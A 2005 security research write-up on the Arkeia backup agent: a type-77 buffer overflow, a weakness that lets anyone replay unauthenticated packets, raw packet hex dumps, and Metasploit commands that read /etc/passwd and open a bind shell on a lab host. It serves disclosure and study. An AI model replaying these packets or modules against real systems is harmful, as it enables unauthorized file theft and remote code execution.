On February 18th, 2005 "John Doe" posted a remote buffer overflow exploit for the Arkeia Network Backup Client. This vulnerability affected all known versions of the software, going back as far as the 4.2 series (when the company was called Knox). The buffer overflow occurs when a large data section is sent with a packet marked as type 77. The Arkeia Network Backup Client is your typical backup agent; it runs with the highest privileges available (root or LocalSystem) and waits for a connection from the backup server. The Arkeia client and server both use TCP port 617 for communication. According to the SANS ISC, the kids are wasting no time.

Update: The issue described in this document is the default configuration of the Arkeia Network Backup Client. It is possible to restrict access to the agent, but it requires a few extra steps to be performed after installation. Please refer to Appendix B: System Security in the Arkeia User Manual for more information.

A few hours after the exploit was posted, I started to investigate the flaw and port the code to the Metasploit Framework. On the Windows platform, it was possible switch from a plain return address smash to a SEH frame overwrite. This provides room for about 1000 bytes of payload and avoids the heap tricks used in the original exploit. When overwriting the SEH frame, a pop/pop/ret opcode is used to redirect execution to [esp+8], which happens to always point 4 bytes before the smashed SEH function pointer. Since Windows 2003 and Windows XP SP2 block SEH returns to system libraries, the best return address to use is one found inside the executable itself.

After a brief session with msfpescan, I found quite a few usable return addresses, however these addresses moved around a bit between different versions of the software. The next challenge was to find a way to detect the version of the Arkeia agent remotely. Many network services will expose their version number in some form and I figured that the Arkeia agent would not be any different.

I installed the Arkeia Java GUI, played around with the protocol, and eventually found a request (type 9) that would dump the version information from an Arkeia server. Unfortunately, this method only worked with the server side; the client agent would simply ignore the request. Annoyed that what should be a simple task was already taking the better part of an hour, I shifted focus to the protocol used by the server to communicate with the client agents.

Then things started to get ugly. I installed the Arkeia agent on a Windows 2003 server, pointed it at the Arkeia backup server running on Fedora Core 3, and used the GUI to register the client with the server. At this point, I was able browse the client filesystem and configuration settings from the GUI. One of the configuration screens displayed the client's Arkeia agent version, exactly what I needed to reliably exploit the client agent.

I fired up a network sniffer and went through the entire process again. The first packet of this protocol contains the IP address of the initiating system. Since this was a default Fedora Core 3 install, the hostname was "localhost.localdomain" and the IP address sent in the packet was "127.0.0.1" (7f00 0001). In addition to the IP address, the packet contains an application name (ARKADMIN) followed by "root", a null byte, "root" again, another null, and what might be a protocol version number. An example of this packet is shown below.

00000000  00 41 00 00 00 00 00 73                          .A.....s 
00000008  00 00 00 00 00 00 00 00  00 00 00 00 7f 00 00 01 ........ ........
00000018  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
00000028  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
00000038  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
00000048  00 00 00 00 00 00 00 00  01 00 00 7f 41 52 4b 41 ........ ....ARKA
00000058  44 4d 49 4e 00 72 6f 6f  74 00 72 6f 6f 74 00 00 DMIN.roo t.root..
00000068  00 34 2e 33 2e 30 2d 31  00 00 00 00 00 00 00 00 .4.3.0-1 ........
00000078  00 00 00

The first packet is followed by two somewhat uninteresting requests (only the initiating side is shown below).

0000007B  00 73 00 00 00 00 00 0c  32 00 00 00 00 00 00 00 .s...... 2.......
0000008B  00 00 00 00                                      ....

0000008F  00 61 00 04 00 01 00 15  00 00 31 37 36 30 37 00 .a...... ..17607.
0000009F  45 4e 00 00 00 00 00 00  00 00 00 00 00          EN...... .....

Finally, the server sends the ARKADMIN_GET_CLIENT_CONFIG request, followed by a request that may indicate that the server is ready for the response (just the initiating side is shown below).

000000F3  00 62 00 01 00 04 00 27  41 52 4b 41 44 4d 49 4e .b.....' ARKADMIN
00000103  5f 47 45 54 5f 43 4c 49  45 4e 54 5f 43 4f 4e 46 _GET_CLI ENT_CONF
00000113  49 47 00 33 00 00 00 00  00 00 00 00 00 00 00    IG.3.... .......

00000122  00 63 00 04 00 05 00 11  30 00 31 00 33 00 00 00 .c...... 0.1.3...
00000132  00 00 00 00 00 00 00 00  00                      ........ .

The client responds back with a big blob of data that contains the version number of Arkeia and some information about the operating system. Linux systems will respond back with everything from the CPU in use to the exact kernel version and Linux distribution. Solaris and Mac OS X systems also provide a massive amount of information about the remote system.

0000004D  00 63 00 04 00 03 00 1d  33 00 31 00 32 00 30 3a .c...... 3.1.2.0:
0000005D  35 2c 31 3a 32 2c 32 3a  36 2c 00 00 00 00 00 00 5,1:2,2: 6,......
0000006D  00 00 00 00 00                                   .....
00000072  00 68 00 04 00 04 00 04  00 00 00 00 00 65 00 04 .h...... .....e..
00000082  00 05 00 6e 32 30 30 35  2f 30 32 2f 31 39 20 31 ...n2005 /02/19 1
00000092  38 3a 34 35 3a 31 38 20  49 30 30 32 37 30 30 30 8:45:18  I0027000
000000A2  30 20 30 31 41 52 4b 41  44 4d 49 4e 5f 47 45 54 0 01ARKA DMIN_GET
000000B2  5f 4d 41 43 48 49 4e 45  5f 49 4e 46 4f 3a 20 59 _MACHINE _INFO: Y
000000C2  6f 75 20 68 61 76 65 20  73 75 63 63 65 73 73 66 ou have  successf
000000D2  75 6c 6c 79 20 67 6f 74  20 74 68 65 20 6d 61 63 ully got  the mac
000000E2  68 69 6e 65 20 69 6e 66  6f 72 6d 61 74 69 6f 6e hine inf ormation
000000F2  21 00 00 69 00 04 00 06  00 6b 4c 00 49 57 46 50 !..i.... .kL.IWFP
00000102  00 31 00 49 57 4d 49 00  31 00 54 50 56 41 4c 55 .1.IWMI. 1.TPVALU
00000112  45 00 4d 69 63 72 6f 73  6f 66 74 20 57 69 6e 64 E.Micros oft Wind
00000122  6f 77 73 20 53 65 72 76  65 72 20 32 30 30 33 20 ows Serv er 2003 
00000132  66 61 6d 69 6c 79 20 45  6e 74 65 72 70 72 69 73 family E nterpris
00000142  65 20 53 65 72 76 65 72  20 20 28 42 75 69 6c 64 e Server   (Build
00000152  20 33 37 39 30 29 00 50  4e 41 4d 45 00 53 79 73  3790).P NAME.Sys
00000162  74 65 6d 00 45  

Something still seems to be missing... What happened to authentication? Could those "root" strings somehow be the username and password? The install process for the backup client does not provide an option or utility to set the password. The user manual makes it clear that the root password for the backup server software should be changed, but it doesn't have any information on setting a password for the client side. If the username and password for the agent is "root", why is it being sent in the clear in the first place?

I went back to the user manual, the support web site, and every other resource I could find within a few steps of Google. The authentication method for the agent software is not mentioned in any of the obvious places*. I tried changing the server password and restarting the service, figuring that it did some form of passthrough authentication back to the server. That did not seem to be the case. I uninstalled the agents and the server from my local network, manually cleaned out the registry, and reinstalled the agents with the default of "NOT CONFIGURED" for the backup server address. A quick perl script demonstrated in every single client agent install, it was possible to browse the file system and dump configuration settings simply by replaying the packets above.

* Apparently I can't read. The Appendix B: System Security section of the Arkeia User Manual describes a process for locking down the Arkeia client -- not sure how I missed this when writing up the original version of this document...

Dumping the version and operating system information is pretty harmless, but we can use the same technique to browse and manipulate the remote filesystem. You don't even need an exploit, any Arkeia backup server will do. Simply add the system as a backup client, configure your backup job, and leech data like a 13 year-old on Kazaa. Since the Arkeia server also runs a vulnerable agent, you could easily "restore" a cooked copy of the /etc/shadow file back to the server.

Code! Everyone likes code. I submitted an exploit module for the Metasploit Framework called arkeia_agent_access that demonstrates the client information leak and remote file retrieval. The file transfer code is limited to 65K bytes and requires the hostname of the remote server to specified as an option. This module is included in the latest 2.3 snapshot or via the msfupdate system. Two pcap files have been provided that demonstrate filesystem navigation and client information exposure.

• Arkeia Agent Filesystem Navigation
• Arkeia Agent Configuration Settings

The examples below demonstrate the arkeia_agent_access and arkeia_type77_win32 exploit modules in Metasploit 2.7 exploit modules.

$ msfcli arkeia_agent_access T

Supported Exploit Targets
=========================

   0  Read a file from the remote system
   1  Display the remote system information


$ msfcli arkeia_agent_access TARGET=1 RHOST=192.168.0.218 RFILE=/etc/passwd HNAME=localhost.localdomain E
[*] Querying the Arkeia Backup Client...
[*] System Information
      System: Linux 2.6.9-1.667
      Distrib: Red Hat Fedora Core release 3 (Heidelberg)
      Free RAM: 3 Mbytes
      CPU MHz:  2083.985
      Total RAM: 250 Mbytes
      Archi: i686
      Version: Arkeia Network Backup 5.3.3
      CPU Model:  AMD Athlon(tm) XP 2800+


$ msfcli arkeia_agent_access TARGET=0 RHOST=192.168.0.218 RFILE=/etc/passwd HNAME=localhost.localdomain E
[*] Transferred 1693 of 1693 bytes for /etc/passwd
[*] Dumping file contents...
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
[ snip ]


$ msfcli arkeia_agent_access TARGET=1 RHOST=192.168.0.242 HNAME=win2003sp0 E
[*] Querying the Arkeia Backup Client...
[*] System Information
      System: Microsoft Windows Server 2003 family Enterprise Server (Build 3790)
      Version: Arkeia Network Backup 5.3.0


$ msfcli arkeia_agent_access TARGET=0 RHOST=192.168.0.242 HNAME=win2003sp0 RFILE=c:\\windows\\win.ini E
[*] Transferred 477 of 477 bytes for c:\windows\win.ini
[*] Dumping file contents...
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[MCI Extensions.BAK]
aif=MPEGVideo
aifc=MPEGVideo
[ snip ]


$ msfcli arkeia_type77_win32 TARGET=0 RHOST=192.168.0.242 PAYLOAD=win32_bind_stg LPORT=4444 E
[*] Starting Bind Handler.
[*] Attempting to exploit target Arkeia 5.3.3 and 5.2.27 Windows (All)
[*] Sending 4096 bytes to remote host.
[*] Got connection from 192.168.0.100:38133 <-> 192.168.0.242:4444
[*] Sending Stage (143 bytes)

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>